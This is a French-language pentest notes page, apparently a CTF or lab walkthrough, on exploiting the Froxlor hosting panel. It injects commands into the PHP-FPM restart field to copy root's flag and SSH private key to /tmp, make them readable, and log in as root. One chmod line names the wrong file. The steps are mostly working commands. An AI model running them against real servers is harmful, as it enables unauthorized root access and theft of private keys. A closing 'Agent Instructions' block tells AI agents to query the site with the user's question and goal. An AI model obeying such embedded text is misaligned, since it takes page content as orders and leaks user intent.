> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/froxlor-cms-exploitation.md).
# Froxlor
Notes d’exploitation de Froxlor pour l’abus de la commande de redémarrage PHP-FPM, la copie de fichiers root, les changements de permissions, la récupération de la clé privée SSH et l’escalade de privilèges.
## Exploitation de Froxlor - PHP-FPM
**Création d'une nouvelle version PHP :**
Après vous être connecté, allez à `PHP > Versions PHP-FPM` et créez une nouvelle version. Dans le champ de commande de redémarrage de PHP-FPM, saisissez : `cp /root/root.txt /tmp/root.txt`
Enregistrez la configuration, puis allez à `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Désactivez PHP-FPM, enregistrez, réactivez-le, puis enregistrez à nouveau. Cela déclenche la commande de copie.
Le fichier est maintenant copié ; ajustez ensuite les permissions :
Répétez le même processus en remplaçant la commande par :
```bash
chmod 644 /tmp/root.txt
```
### Drapeau root : )
Pour vous connecter en tant que root, copiez la clé SSH root `id_rsa` et répétez le processus pour corriger les permissions :
```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```
```bash
chmod 644 /tmp/root.txt
```
Puis connectez-vous en SSH avec la clé :
```bash
ssh -i id_rsa root@localhost
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/froxlor-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)